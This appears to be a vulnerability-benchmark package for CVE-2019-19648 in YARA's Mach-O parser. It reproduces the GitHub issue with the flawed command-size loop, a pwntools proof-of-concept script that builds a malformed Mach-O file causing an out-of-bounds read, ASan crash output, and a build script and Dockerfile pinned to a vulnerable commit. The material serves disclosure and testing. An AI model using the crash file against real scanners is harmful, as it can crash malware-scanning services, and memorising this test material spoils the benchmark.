Project: yara (virustotal/yara), language: c++
Vulnerability instance: yara.cve-2019-19648
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/VirusTotal/yara/issues/1178
## Description:
Issue: VirusTotal/yara#1178
Title: Out-of-Bounds Memory Access in macho module
State: open
Created by: mmmdzz
Created at: 2019-12-08 08:50:29+00:00

Issue Body:
In [libyara/modules/macho/macho.c](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c), yara doesn't check whether the variable [command_size](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c#L370) is consistent with the command's real size. A crafted MachO file will lead an out-of-bounds memory access later. 

Following is the bug code.

```c
  uint8_t *command = (uint8_t*)(header + 1);                                   \
  for (unsigned i = 0; i < yr_##bo##32toh(header->ncmds); i++)                 \
  {                                                                            \
    yr_load_command_t* command_struct = (yr_load_command_t*)command;           \
    uint64_t command_size = yr_##bo##32toh(command_struct->cmdsize);           \
                                                                               \
    if (size < parsed_size + command_size)                                     \
      break;                                                                   \
                                                                               \
    switch(yr_##bo##32toh(command_struct->cmd))                                \
    {                                                                          \
      case LC_SEGMENT:                                                         \
      case LC_SEGMENT_64:                                                      \
      {                                                                        \
        macho_handle_segment_##bits##_##bo(command, seg_count++, object);      \
        break;                                                                 \
      }                                                                        \
      case LC_UNIXTHREAD:                                                      \
      {                                                                        \
        macho_handle_unixthread_##bo(command, object, context);                \
        break;                                                                 \
      }                                                                        \
      case LC_MAIN:                                                            \
      {                                                                        \
        macho_handle_main_##bo(command, object, context);                      \
        break;                                                                 \
      }                                                                        \
    }  
``` 

Take an example. If the size is 0x4000, `ncmds == 2`, and there is only one command whose size is `0x4000-28`. The memory layout of the crafted macho would look like:

```
[HEADER 28 bytes][FIRST COMMAND 0x4000-28 bytes]
```

Thus, when yara tries to handle the second command [here](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c#L370),  yara will access the address after [data](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c#L341), causing an out-of-bounds memory access. This will cause crash or potentials code executions. 

The poc is attach:

```bash
$ cat poc.r
import "macho"

$ pip install pwntools

$ cat get_macho.py
from pwn import *

my_p8 = p8
my_p16 = p16
my_p32 = p32

def get_header():
    header = my_p32(0xfeedface)
    header += my_p32(0) * 3
    header += my_p32(2)
    header += my_p32(0) * 2

    return header

def get_cmd1():
    cmd_size = 0x4000 - 28
    cmd = my_p32(0xdeadbeef)
    cmd += my_p32(cmd_size)
    cmd = cmd.ljust(cmd_size, '\x00')
    return cmd

if __name__ == "__main__":
    macho = get_header()
    macho += get_cmd1()


    f = file("my_macho", "wb")
    f.write(macho)
    f.close()

$ python get_macho.py

$ ./yara poc.r my_macho
=================================================================
==31861==ERROR: AddressSanitizer: unknown-crash on address 0x7f15a4ff6004 at pc 0x7f15a3b6c7b3 bp 0x7ffd89ba7310 sp 0x7ffd89ba7300
READ of size 4 at 0x7f15a4ff6004 thread T0
    #0 0x7f15a3b6c7b2 in macho_parse_file_32_le.part.0 (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x5a7b2)
    #1 0x7f15a3b7621d in macho__load (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x6421d)
    #2 0x7f15a3bc847e in yr_modules_load (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xb647e)
    #3 0x7f15a3ba1ece in yr_execute_code (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x8fece)
    #4 0x7f15a3bf50ff in yr_scanner_scan_mem_blocks (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe30ff)
    #5 0x7f15a3bf5e7c in yr_scanner_scan_mem (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe3e7c)
    #6 0x7f15a3bf6027 in yr_scanner_scan_file (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe4027)
    #7 0x5629e567293e in main (/homes/u28/xxx/Github/yara/.libs/yara+0x793e)
    #8 0x7f15a3523b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #9 0x5629e5673319 in _start (/homes/u28/xxx/Github/yara/.libs/yara+0x8319)

Address 0x7f15a4ff6004 is a wild pointer.
SUMMARY: AddressSanitizer: unknown-crash (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x5a7b2) in macho_parse_file_32_le.part.0
Shadow bytes around the buggy address:
  0x0fe3349f6bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe3349f6bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe3349f6c00:[fe]fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c10: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c20: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c30: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c40: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
  0x0fe3349f6c50: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==31861==ABORTING
```

Crafted MachO [my_macho](https://github.com/VirusTotal/yara/files/3936000/my_macho.zip) is also attached.



Comments:
Comment by xambroz on 2019-12-18 15:21:37+00:00:
This issue was assigned vulnerability number - CVE-2019-19648 .

---

Comment by lamby on 2020-02-20 18:14:28+00:00:
Just wondering if this has fallen through the gaps here? :)

---

Comment by meme on 2021-01-20 20:28:59+00:00:
Can't be reproduced on v4.0.2, seems this can be closed.

---

Comment by Derekt2 on 2021-12-22 21:11:31+00:00:
looks like addressed in https://github.com/VirusTotal/yara/issues/1498

---

Comment by mmmdzz on 2021-12-22 21:11:54+00:00:
邮件已获悉。

Attachments:
https://github.com/VirusTotal/yara/files/3936000/my_macho.zip

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap.sh
./configure --enable-debug --enable-dex --enable-dotnet --without-crypto
make clean -j$(nproc)
make -j$(nproc) all
make install -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y automake autoconf make libtool
RUN git clone https://github.com/virustotal/yara yara
RUN git -C yara checkout b9f925bb4e2b998bd6bb2f2e3cc2087c62fdd5b9
WORKDIR $SRC/yara
COPY build.sh $SRC/

Additional files: